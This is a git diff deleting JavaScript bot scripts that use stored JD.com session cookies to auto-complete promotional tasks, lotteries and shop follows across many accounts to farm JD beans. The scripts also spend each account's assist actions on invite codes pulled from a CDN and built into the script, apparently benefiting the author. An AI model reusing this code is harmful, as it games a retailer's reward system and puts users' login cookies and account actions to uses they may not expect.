PostRequest(uri,body) { - const url = `https://api.m.jd.com/client.action`; - const method = `POST`; - const headers = {"Accept": "application/json, text/plain, */*", -"Accept-Encoding": "gzip, deflate, br", -"Accept-Language": "zh-cn", -"Connection": "keep-alive", -"Content-Type": "application/x-www-form-urlencoded", -"Cookie": cookie, -"Host": "api.m.jd.com", -"User-Agent": "jdapp;iPhone;10.0.6;14.4;0bcbcdb2a68f16cf9c9ad7c9b944fd141646a849;network/4g;model/iPhone12,1;addressid/2377723269;appBuild/167724;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" -} - return {url: url, method: method, headers: headers, body: body}; -} - -async function doTask(){ - const body = `functionId=harmony_collectScore&body=%7B%22appId%22%3A%221E1NYwqc%22%2C%22taskToken%22%3A%22${token}%22%2C%22taskId%22%3A${taskid}%2C%22actionType%22%3A1%7D&client=wh5&clientVersion=1.0.0` - const MyRequest = PostRequest(``,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.code == 0){ - console.log("\n"+result.data.bizMsg+"\n") - await $.wait(6000) - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function DoTask(){ - const body = `functionId=harmony_collectScore&body=%7B%22appId%22%3A%221E1NYwqc%22%2C%22taskToken%22%3A%22${token}%22%2C%22taskId%22%3A${taskid}%2C%22actionType%22%3A0%7D&client=wh5&clientVersion=1.0.0` - const MyRequest = PostRequest(``,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.data.bizCode == 0){ - console.log(result.data.bizMsg+"获得"+result.data.result.score+";共有"+result.data.result.userScore+"\n") - await $.wait(4000) - }else{ - console.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function Lottery(){ - const body = `functionId=healthyDay_getLotteryResult&body=%7B%22appId%22%3A%221E1NYwqc%22%2C%22taskId%22%3A2%7D&client=wh5&clientVersion=1.0.0` - const MyRequest = PostRequest(``,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.data.bizCode == 0){ - console.log("\n获得"+result.data.result.userAwardsCacheDto.jBeanAwardVo.prizeName+"\n") - await $.wait(4000) - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function getLottery(){ - const body = `functionId=interact_template_getLotteryResult&body=%7B%22appId%22%3A%221E1NYwqc%22%7D&client=wh5&clientVersion=1.0.0` - const MyRequest = PostRequest(``,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.data.bizCode == 0){ - console.log("\n获得"+result.data.result.userAwardsCacheDto.jBeanAwardVo.prizeName+"\n") - await $.wait(4000) - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function Ariszy(){ - for(let j = 0; j < listtokenArr.length; j++){ - token = list2tokenArr[j] - taskid = listtokenArr[j].match(/\d+/) - $.log("TaskId:"+taskid) - $.log("Token:"+token) - await doTask() - await DoTask() - } - -} -async function zy(){ - listtokenArr.splice(0,listtokenArr.length); - list2tokenArr.splice(0,list2tokenArr.length); -} -async function control(){ - for(let i = 0; i < list6tokenArr.length; i++){ - helpcode = list6tokenArr[i] - await dosupport() - await $.wait(4000) -} -} -async function dosupport(){ - const body = `functionId=harmony_collectScore&body=%7B%22appId%22%3A%221E1NYwqc%22%2C%22taskToken%22%3A%22${helpcode}%22%2C%22taskId%22%3A12%2C%22actionType%22%3A0%7D&client=wh5&clientVersion=1.0.0` - const MyRequest = PostRequest(``,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.data.bizCode == 0){ - console.log(result.data.bizMsg+"获得"+result.data.result.score+";共有"+result.data.result.userScore+"\n") - await $.wait(4000) - }else{ - console.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function getlist(){ - const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body={"appId":"1E1NYwqc","taskToken":"","channelId":1}&client=wh5&clientVersion=1.0.0`) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.code == 0){ - console.log("查看任务列表\n") - let list2 = result.data.result.taskVos.find(item => item.taskId == 2) - for(let i = 0; i < list2.productInfoVos.length; i ++){ - listtokenArr.push(2+list2.productInfoVos[i].taskToken) -list2tokenArr.push(list2.productInfoVos[i].taskToken) - } - - let list4 = result.data.result.taskVos.find(item => item.taskId == 4) - for(let i = 0; i < list4.productInfoVos.length; i ++){ - listtokenArr.push(4+list4.productInfoVos[i].taskToken) -list2tokenArr.push(list4.productInfoVos[i].taskToken) - } - - let list6 = result.data.result.taskVos.find(item => item.taskId == 6) - for(let i = 0; i < list6.productInfoVos.length; i ++){ - listtokenArr.push(6+list6.productInfoVos[i].taskToken) -list2tokenArr.push(list6.productInfoVos[i].taskToken) - } - - let list7 = result.data.result.taskVos.find(item => item.taskId == 7) - for(let i = 0; i < list7.shoppingActivityVos.length; i ++){ - listtokenArr.push(7+list7.shoppingActivityVos[i].taskToken) -list2tokenArr.push(list7.shoppingActivityVos[i].taskToken) - } - - let list8 = result.data.result.taskVos.find(item => item.taskId == 8) - listtokenArr.push(8+list8.simpleRecordInfoVo.taskToken) -list2tokenArr.push(list8.simpleRecordInfoVo.taskToken) - - let list11 = result.data.result.taskVos.find(item => item.taskId == 11) - for(let i = 0; i < list11.followShopVo.length; i ++){ - listtokenArr.push(11+list11.followShopVo[i].taskToken) -list2tokenArr.push(list11.followShopVo[i].taskToken) - } - // $.log(JSON.stringify(listtokenArr)) - - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } - -async function gethelpcode(){ - const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body={"appId":"1E1NYwqc","taskToken":"","channelId":1}&client=wh5&clientVersion=1.0.0`) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.code == 0){ - -let list12 = result.data.result.taskVos.find(item => item.taskId == 12) - list4tokenArr.push(12+list12.assistTaskDetailVo.taskToken) -list6tokenArr.push(list12.assistTaskDetailVo.taskToken) - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } - -async function userScore(){ - const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body={"appId":"1E1NYwqc","taskToken":"","channelId":1}&client=wh5&clientVersion=1.0.0`) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.code == 0){ - let userScore = result.data.result.userInfo.userScore - $.log("共有荣耀值:"+userScore+";开始抽奖"+Math.floor(userScore/500)+"次") - for(let i = 0; i < Math.floor(userScore/500); i++){ - await getLottery() - } - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -//showmsg -//boxjs设置tz=1,在12点<=20和23点>=40时间段通知,其余时间打印日志 - -async function showmsg() { - if (tz == 1) { - if ($.isNode()) { - if ((hour == 12 && minute <= 20) || (hour == 23 && minute >= 40)) { - await notify.sendNotify($.name, message) - } else { - $.log(message) - } - } else { - if ((hour == 12 && minute <= 20) || (hour == 23 && minute >= 40)) { - $.msg(zhiyi, '', message) - } else { - $.log(message) - } - } - } else { - $.log(message) - } -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, "", "不要在BoxJS手动复制粘贴修改cookie"); - return []; - } - } -} -Array.prototype.distinct = function (){ - var arr = this, - result = [], - len = arr.length; - arr.forEach(function(v, i ,arr){ //这里利用map,filter方法也可以实现 - var bool = arr.indexOf(v,i+1); //从传入参数的下一个索引值开始寻找是否存在重复 - if(bool === -1){ - result.push(v); - } - }) - return result; -}; -function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_small_home.js b/backUp/jd_small_home.js deleted file mode 100644 index 67a9bad..0000000 --- a/backUp/jd_small_home.js +++ /dev/null @@ -1,916 +0,0 @@ -/* -东东小窝 jd_small_home.js -Last Modified time: 2021-1-22 14:27:20 -现有功能: -做日常任务任务,每日抽奖(有机会活动京豆,使用的是免费机会,不消耗WO币) -自动使用WO币购买装饰品可以获得京豆,分别可获得5,20,50,100,200,400,700,1200京豆) - -注:目前使用此脚本会给脚本内置的两个码进行助力,请知晓 - -活动入口:京东APP我的-游戏与更多-东东小窝 -或 京东APP首页-搜索 玩一玩-DIY理想家 -微信小程序入口: -来客有礼 - > 首页 -> 东东小窝 -网页入口(注:进入后不能再此刷新,否则会有问题,需重新输入此链接进入) -https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html - -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js -===============Quantumultx=============== -[task_local] -#东东小窝 -16 22 * * * jd_small_home.js, tag=东东小窝, img-url=https://raw.githubusercontent.com/58xinian/icon/master/ddxw.png, enabled=true - -================Loon============== -[Script] -cron "16 22 * * *" script-path=jd_small_home.js, tag=东东小窝 - -===============Surge================= -东东小窝 = type=cron,cronexp="16 22 * * *",wake-system=1,timeout=3600,script-path=jd_small_home.js - -============小火箭========= -东东小窝 = type=cron,script-path=jd_small_home.js, cronexpr="16 22 * * *", timeout=3600, enable=true - */ -const $ = new Env('东东小窝'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message = ''; -let isPurchaseShops = false;//是否一键加购商品到购物车,默认不加购 -$.helpToken = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -$.newShareCodes = []; -const JD_API_HOST = 'https://lkyl.dianpusoft.cn/api'; - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n*******开始【京东账号${$.index}】${$.nickName || $.UserName}********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await smallHome(); - } - } - await updateInviteCodeCDN('https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_updateSmallHomeInviteCode.json'); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.token = $.helpToken[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - if ($.newShareCodes.length > 1) { - console.log('----', (i + 1) % $.newShareCodes.length) - let code = $.newShareCodes[(i + 1) % $.newShareCodes.length]['code'] - console.log(`\n${$.UserName} 去给自己的下一账号 ${decodeURIComponent($.newShareCodes[(i + 1) % $.newShareCodes.length]['cookie'].match(/pt_pin=([^; ]+)(?=;?)/) && $.newShareCodes[(i + 1) % $.newShareCodes.length]['cookie'].match(/pt_pin=([^; ]+)(?=;?)/)[1])}助力,助力码为 ${code}\n`) - await createAssistUser(code, $.createAssistUserID); - } - console.log(`\n去帮助作者\n`) - await helpFriends(); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function smallHome() { - await loginHome(); - await ssjjRooms(); - // await helpFriends(); - if (!$.isUnLock) return; - await createInviteUser(); - await queryDraw(); - await lottery(); - await doAllTask(); - await queryByUserId(); - await queryFurnituresCenterList(); - await showMsg(); -} -function showMsg() { - return new Promise(resolve => { - $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); - resolve() - }) -} -async function lottery() { - if ($.freeDrawCount > 0) { - await drawRecord($.lotteryId); - } else { - console.log(`免费抽奖机会今日已使用\n`) - } -} - -async function doChannelsListTask(taskId, taskType) { - await queryChannelsList(taskId); - for (let item of $.queryChannelsList) { - if (item.showOrder === 1) { - await $.wait(1000) - await followChannel(taskId, item.id) - await queryDoneTaskRecord(taskId, taskType); - } - } -} -async function helpFriends() { - // await updateInviteCode(); - // if (!$.inviteCodes) await updateInviteCodeCDN(); - if ($.inviteCodes && $.inviteCodes['inviteCode']) { - for (let item of $.inviteCodes.inviteCode) { - if (!item) continue - await createAssistUser(item, $.createAssistUserID); - } - } -} -async function doAllTask() { - await queryAllTaskInfo();//获取任务详情列表$.taskList - console.log(` 任务名称 完成进度 `) - for (let item of $.taskList) { - console.log(`${item.ssjjTaskInfo.name} ${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum || (item.ssjjTaskInfo.type === 1 ? 4: 1)}`) - } - for (let item of $.taskList) { - if (item.ssjjTaskInfo.type === 1) { - //邀请好友助力自己 - $.createAssistUserID = item.ssjjTaskInfo.id; - console.log(`createAssistUserID:${item.ssjjTaskInfo.id}`) - console.log(`\n\n助力您的好友:${item.doneNum}人`) - } - if (item.ssjjTaskInfo.type === 2) { - //每日打卡 - if (item.doneNum === (item.ssjjTaskInfo.awardOfDayNum || 1)) { - console.log(`${item.ssjjTaskInfo.name}已完成(${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum || 1})`) - continue - } - await clock(item.ssjjTaskInfo.id, item.ssjjTaskInfo.awardWoB) - } - // 限时连连看 - if (item.ssjjTaskInfo.type === 3) { - if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { - console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) - continue - } - for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum || 1).fill('').length; i++) { - await game(item.ssjjTaskInfo.id, item.doneNum); - } - } - if (item.ssjjTaskInfo.type === 4) { - //关注店铺 - if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { - console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) - continue - } - for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) { - await followShops('followShops', item.ssjjTaskInfo.id);//一键关注店铺 - await queryDoneTaskRecord(item.ssjjTaskInfo.id, item.ssjjTaskInfo.type); - } - } - if (item.ssjjTaskInfo.type === 5) { - //浏览店铺 - if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { - console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) - continue - } - for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) { - await browseChannels('browseShops', item.ssjjTaskInfo.id, item.browseId); - } - } - if (item.ssjjTaskInfo.type === 6) { - //关注4个频道 - if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { - console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) - continue - } - await doChannelsListTask(item.ssjjTaskInfo.id, item.ssjjTaskInfo.type) - } - if (item.ssjjTaskInfo.type === 7) { - //浏览3个频道 - if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { - console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) - continue - } - for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum || 1).fill('').length; i++) { - await browseChannels('browseChannels', item.ssjjTaskInfo.id, item.browseId); - } - } - isPurchaseShops = $.isNode() ? (process.env.PURCHASE_SHOPS ? process.env.PURCHASE_SHOPS : isPurchaseShops) : ($.getdata("isPurchaseShops") ? $.getdata("isPurchaseShops") : isPurchaseShops); - if (isPurchaseShops && item.ssjjTaskInfo.type === 9) { - //加购商品 - if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { - console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) - continue - } - for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) { - await followShops('purchaseCommodities', item.ssjjTaskInfo.id);//一键加购商品 - await queryDoneTaskRecord(item.ssjjTaskInfo.id, item.ssjjTaskInfo.type); - } - } - if (item.ssjjTaskInfo.type === 10) { - //浏览商品 - if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { - console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) - continue - } - for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) { - await browseChannels('browseCommodities', item.ssjjTaskInfo.id, item.browseId); - } - } - if (item.ssjjTaskInfo.type === 11) { - //浏览会场 - if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { - console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) - continue - } - for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum || 1).fill('').length; i++) { - await browseChannels('browseMeetings' ,item.ssjjTaskInfo.id, item.browseId); - } - // await browseChannels('browseMeetings' ,item.ssjjTaskInfo.id, item.browseId); - // await doAllTask(); - } - } -} -function queryFurnituresCenterList() { - return new Promise(resolve => { - $.get(taskUrl(`ssjj-furnitures-center/queryFurnituresCenterList`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - let { buy, list } = data.body; - $.canBuyList = []; - list.map((item, index) => { - if (buy.some((buyItem) => buyItem === item.id)) return - $.canBuyList.push(item); - }) - $.canBuyList.sort(sortByjdBeanNum); - if ($.canBuyList[0].needWoB <= $.woB) { - await furnituresCenterPurchase($.canBuyList[0].id, $.canBuyList[0].jdBeanNum); - } else { - console.log(`\n兑换${$.canBuyList[0].jdBeanNum}京豆失败:当前wo币${$.woB}不够兑换所需的${$.canBuyList[0].needWoB}WO币`) - message += `【装饰领京豆】兑换${$.canBuyList[0].jdBeanNum}京豆失败,原因:WO币不够\n`; - } - // for (let canBuyItem of $.canBuyList) { - // if (canBuyItem.needWoB <= $.woB) { - // await furnituresCenterPurchase(canBuyItem.id, canBuyItem.jdBeanNum); - // break - // } - // } - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//装饰领京豆 -function furnituresCenterPurchase(id, jdBeanNum) { - return new Promise(resolve => { - $.post(taskPostUrl(`ssjj-furnitures-center/furnituresCenterPurchase/${id}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - message += `【装饰领京豆】${jdBeanNum}兑换成功\n`; - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -//获取详情 -function queryByUserId() { - return new Promise(resolve => { - $.get(taskUrl(`ssjj-wo-home-info/queryByUserId/2`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { 